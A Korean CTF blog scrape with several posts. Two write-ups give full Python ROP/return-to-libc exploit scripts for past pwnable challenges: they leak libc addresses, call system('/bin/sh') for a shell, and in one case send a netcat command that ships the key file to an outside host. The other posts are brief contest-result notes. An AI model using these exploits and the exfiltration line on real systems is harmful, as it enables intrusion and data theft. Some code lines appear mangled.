대회에서 라이브러리 파일을 주고 시작했고, 따라서 로컬에서 디버깅이 가능한 상황이라고 가정하고 환경은

Ubuntu 14.04 64bit 로 구축해놓고 풀었습니다.

가장 기초적인 ROP로, Demon으로 돌아가는 프로그램이었기 때문에 system("/bin/sh")로 쉘을 딸 수 있었습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
TARGET = '192.168.136.137'
PORT = 9999
 
banner()
 
#========================================
read_plt = 0x0804832c
read_got = 0x0804961c
write_plt = 0x0804830c
write_got = 0x08049614
pppr = 0x080484b6
offset_read_system = 0x9aa40
offset_binsh_read = 0x85e54
#========================================
 
print "==================[ Phase 1 : Find Library Func ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect((TARGET, PORT))
payload = "\x90"*(0x88+4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(0x080483F4# vuln func again
 
s.send(payload)
sleep(0.1)
recved = s.recv(1024)
 
read_lib = up32(recved[0:4])[0]
system_lib = read_lib - offset_read_system
binsh = read_lib+offset_binsh_read
 
print "[*] Found read_lib : "+hex(read_lib)
sleep(0.3)
print "[*] Found system_lib : "+hex(system_lib)
sleep(0.3)
print "[*] Found binsh : "+hex(binsh)
 
print "===================[ Phase 2 : Attack with RTL ]==================="
 
payload2 = "\x90"*(0x88+4)
payload2 += p32(system_lib)
payload2 += "AAAA"
payload2 += p32(binsh)
 
s.send(payload2)
sleep(1)
 
print "====================[ Phase 3 : Got the Shell ]===================="
 
= Telnet()
t.sock = s
t.interact()
 
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
Codegate Junior 2014 Prequal - nuclear  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요

서버 환경을 몰라서 Ubuntu 14.04 64bit에 Full ASLR 환경으로 설정 후 풀었습니다.

원래 처음엔 mprotect 함수를 이용하여 쉘을 따려고 했으나 잘 되지 않아서 그냥 키 값만 읽어오도록 했습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from hackutil import *
from time import *
from socket import *
 
# ==========================================
leak = 'A'*0x200
recv_plt = 0x080488E0
recv_got = 0x0804B074
send_plt = 0x08048900
ppppr = 0x0804917c
vuln_func = 0x08048B5B
data_ = 0x0804b090
offset_system_recv = 0x1010
# ==========================================
 
banner()
 
print "==================[ Phase 1 : Passcode leak ]=================="
 
= socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.136.137'1129))
s.recv(1024)
s.send('target\n')
sleep(0.1)
s.recv(1024)
s.send('1234.12341234/1234.12341234\n')
sleep(0.1)
s.recv(1024)
s.send(leak+'\n')
sleep(0.1)
data = s.recv(1024)
passcode = data[len(leak)+30:len(leak)+30+0x04]
print "[*] passcode : "+passcode
s.close()
 
print "================[ Phase 2 : Find Library Func ]================"
 
s2 = socket(AF_INET, SOCK_STREAM)
s2.connect(('192.168.136.137'1129))
s2.recv(1024)
s2.send('launch\n')
sleep(0.1)
s2.recv(1024)
 
payload2 = 'A'*(0x20C+4)
payload2 += p32(send_plt) + p32(ppppr) + p32(4+ p32(recv_got) + p32(4+ p32(0)
payload2 += p32(vuln_func) + p32(0+ p32(4)
 
s2.send(passcode+"\n")
sleep(0.1)
s2.recv(1024)
s2.send(payload2)
sleep(0.1)
recv_lib = up32(s2.recv(1024)[0:4])[0]
system_lib = recv_lib + offset_system_recv
 
print "[*] Found recv_lib : "+hex(recv_lib)
print "[*] Found system_lib : "+hex(system_lib)
 
 
print "=================[ Phase 3 : Attack with RTL ]================="
 
payload3 = 'A'*(0x20c+4)
payload3 += p32(recv_plt) + p32(ppppr) + p32(4+ p32(data_) + p32(0xff+ p32(0)
payload3 += p32(system_lib) + "AAAA" + p32(data_)
 
s2.send(payload3)
sleep(0.1)
s2.send('nc 192.168.136.1 12595 < key')
s2.close()
print "========================[ Got the Key ]========================"
cs


'CTF > 지난 대회' 카테고리의 다른 글

Layer7 CTF 2015 - Spil..Spli....SPPPPPIILL  (0) 2015.11.03
Codegate 2013 Prequal - vuln 100  (0) 2015.10.30
PlaidCTF 2013 - pork  (0) 2015.10.29
Codegate 2014 - AngryDoraemon  (0) 2015.10.25
Plaid CTF 2013 - ropasaurusrex  (0) 2015.10.22
Codegate Junior 2014 Prequal - nuclear  (0) 2015.10.22
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요





Write-up은 아니지만 여기에 올리도록 하겠습니다.

이번 대회에는 포렌식을 기본으로 한 10문제가 나왔는데,  그중 두 문제를 풀고 전체 21위를 하였습니다.

획득 점수 40%, 보고서 60% 로 합산하여 본선 진출이 결정되지만 어차피 2000점대로는 아무리 보고서를 잘 써도

(솔직히 보고서 잘 쓰려면 분석도, 즉 문제도 잘 풀어야 하기 때문에)

본선은 나갈 수 없을 것 같아 보고서는 따로 작성하지 않았습니다.


나중에 가능하다면 푼 문제의 Write-up을 작성하여 올리도록 하겠습니다.

여전히 내 실력은 바닥을 기고 있다는 것을 알려 주는 결과였습니다.

더 공부해야지...

'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
2015 inc0gnito CTF Write-up  (0) 2015.09.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요







12th HackingCamp CTF Write-up.pdf

 

이번 해킹캠프 CTF 팀명은 'ITBANK' 였습니다.

사진상 총 3800점이지만 마지막에 입력한 300점이 무효화

처리 되어 2등과 동점인 3500점으로 우승을 차지했습니다.

부상은 전과 마찬가지로 PoC Conference 참가권이었기 때문에 얻은 것은 명예라고 할 수 있겠네요.

저는 총 3800점 중 2800점을 Auth하였습니다.

2300점은 스스로 풀어내었고 포너블 500점짜리 문제는 김낙현군의 파워게싱으로 풀어냈습니다.

지금도 그때의 그 허전함과 흥분감이 떠오릅니다.


문제풀이에 열심히 집중해 준 다른 팀원들에게도 모두 감사의 말을 전하고 싶습니다.

다음부터도 더욱 분발하여 좋은 결과를 내도록 하겠습니다.



'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
2015 inc0gnito CTF Write-up  (0) 2015.09.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요



제대로 순위권 내에 들지는 못했지만 후배들과 열심히 푼 결과이므로 Write-up을 업로드합니다.

이 Write-up에는 제가 푼 문제들의 풀이만 들어 있습니다.


2015 Inc0gnito CTF.pdf


'CTF > Write-up' 카테고리의 다른 글

Codegate 2016 Junior Prequal Write-up  (0) 2016.03.19
제 13회 해킹캠프 CTF Write-up  (0) 2016.02.28
2015 Dimicon Prequal/Qual Write-up  (0) 2015.11.15
2015 Whitehat Contest Prequal  (0) 2015.10.13
제 12회 해킹캠프 CTF Write-up  (0) 2015.09.20
2015 inc0gnito CTF Write-up  (0) 2015.09.15
블로그 이미지

__미니__

E-mail : skyclad0x7b7@gmail.com 나와 계약해서 슈퍼 하-카가 되어 주지 않을래?

댓글을 달아 주세요